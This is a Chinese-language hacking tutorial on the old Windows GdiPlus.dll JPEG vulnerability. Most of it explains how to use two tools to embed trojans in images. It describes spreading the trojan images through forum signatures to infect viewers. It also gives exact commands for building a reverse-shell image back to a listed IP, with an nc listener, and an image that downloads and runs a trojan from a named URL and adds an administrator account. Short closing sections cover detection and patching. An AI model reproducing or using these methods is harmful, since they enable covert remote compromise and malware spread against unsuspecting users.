JPEG图片内隐藏的阴谋

    自从开始用微软系统的那天起，大家就没少关注漏洞公告，打漏洞补丁。因为微软系统漏洞实在是太多了，这些漏洞轻则影响系统使用，重则导致系统被入侵。这段时间，微软系统又被发现存在JPEG 图像漏洞，此漏洞可能导致系统被入侵和远程执行恶意代码。入侵者可以将后门代码利用此漏洞插入到图片中而间接运行……这就表明这个漏洞能使入侵者破坏者们有更大的发挥余地，到底该漏洞如何利用、发挥、防范，下面的篇幅将会详细阐述。

 

    一、JPEG 图像漏洞原理是什么

 

    该漏洞主要涉及操作系统中一个名为GdiPlus.dll的文件。由于众多软件都调用了这个动态链接库处理JPEG图片，使得该漏洞的涉及面非常广，如Windows XP SP1、MS Office、QQ2004等等。入侵者可以将后门通过这个漏洞原理来插入到图片中，这样存在此漏洞的程序会无条件运行图片中的后门程序，从而控制受影响的系统。

 

    二、JPEG 图像漏洞相关利用

 

    从漏洞的原理，我们可以看出该漏洞使入侵者的入侵手法有了很大的发挥余地，例如：入侵者可以在图片中插入木马后门，使浏览者在打开图片的同时木马后门悄悄运行。或者在图片中插入一些第三方连接程序，将修改过的图片作为类似木马服务器端那样放置在肉鸡中，当需要进入肉鸡的时候，连接这个图片即可连接后门等等。下面分别讲解这两种最典型的漏洞利用方法。

 

    1．打开图片，触发木马

 

    将木马后门插入到图片中，这样浏览者只要一打开含有图片的网页、邮件等，就会自动打开图片，同时也就运行了木马，这是最典型的漏洞利用方法。这里利用一款工具：JPEG Downloader，它能有效地帮我们将木马文件插入到指定图片文件中。打开它，在Downloade file一栏中填写即将插入的木马程序的下载地址（如图1），填写完毕，点“make”按钮，这样在同目录下即可生成一个图片文件，只不过这是插入了木马代码的。

 

图1

 

    该图片文件表面上和寻常图片文件没什么两样，但是一旦打开它，那么就会自动下载并运行先前指定好的木马程序，一切都是悄然无息的。唯一表面上不同的是打开图片不能正常显示，而是一个红色的X号（如图2）。这里给出一种有效的图片木马传播方法，非常隐蔽。先将生成好的木马图片上传到自己的空间，得到图片地址如：http://safe.souya.com/heidan.jpg，然后去一些论坛发帖子，将此图片作为自己注册的用户的签名。发完帖子，只要是浏览者一打开你的帖子，那么帖子签名中的木马图片也会打开，里面的木马也就被打开了，比目前最有效的木马网页要好出很多倍。

 

图2

 

    2．设置图片，连接后门

 

    我们利用此漏洞还可以在图片中插入第三方特定代码，使图片成为一个类似于木马服务器端的东东，这样将图片放置在肉鸡上就可以进行连接，获取权限。

 

    这里利用外国的工具：jpglowder来实现效果。在命令行下打开jpglowder，可以看到详细的帮助命令（如图3）。这其中各个参数的解释都是英文的，我这里解释为中文。

 

图3

 

    参数1：-r your_ip or -b，这里使用-r和-b选项之后，就可以将端口反弹的功能加入到即将生成的图片后门中。

 

    参数2：-a or -d，使用-a选项之后，生成一个可以自动添加管理员帐号的图片后门，添加的管理员帐号和密码均为X。使用-d选项之后，将生成一个能下载指定木马地址并运行的图片后门，参数用法是：-d 木马的URL地址。

 

    参数3：-p (optional)，这个选项运行你修改默认的连接端口。

 

    熟悉了各个参数选项，我们来针对各个功能来生成不用的图片后门：

 

    生成后门1：输入命令：jpglowder -r 68.6.47.62 -p 8888 test.jpg，这是来生成一个后门具有开放8888端口的功能，68.6.47.62是本机的IP地址。生成之后（如图4），在肉鸡上运行图片test.jpg，然后在本地输入连接命令：nc.exe -l -p 8888，这样肉鸡会自动连接本机，从而得到权限。

 

图4

 

    生成后门2：输入命令：jpglowder　-a -d http://safe.souya.com/patch.exe exploit.jpg，这是来生成一个能自动下载指定木马http://safe.souya.com/patch.exe，并能添加管理员帐号的图片后门exploit.jpg。

可以看的出，这个后门更是把漏洞原理发挥得淋漓尽致。

 

    三、JPEG 图像漏洞后门查杀

 

    看到上面的漏洞利用方法，你一定感到很恐怖吧！如果你的电脑中存在这样的后门，那么通常情况下是发现不了的，我们可以利用金山毒霸的后门专杀工具来完成查杀。打开它，然后点“开始扫描”即可开始查杀（如图5），只要是含有后门的图片就一定躲藏不过它的眼睛，瞧！我杀出了几个含有后门的图片文件（如图6）。

 

图5

图6

 

 

    四、JPEG 图像漏洞防范

 

    怎么才能从根本上防范JPEG 图像漏洞呢？由于该漏洞主要涉及操作系统中一个名为GdiPlus.dll的文件。而众多软件都调用了这个动态链接库处理JPEG图片，使得该漏洞的涉及面非常广。所以不是说一下就能彻底防范的了的，这里需要先用漏洞扫描器：启明星辰专用漏洞扫描工具GdiScan来查看一下到底哪些文件存在漏洞。打开GdiScan，选择要扫描的盘符，然后进行扫描，会在状态栏中显示扫描结果，我的机器扫描结果如图7所示。提示这两个文件一个是针对IE浏览器的，一个是针对Office的，所以升级这两个应用程序即可。官方已经升级了版本，修补了漏洞。文章中涉及到的各个工具请到http://www.skyapex.org中下载。

图7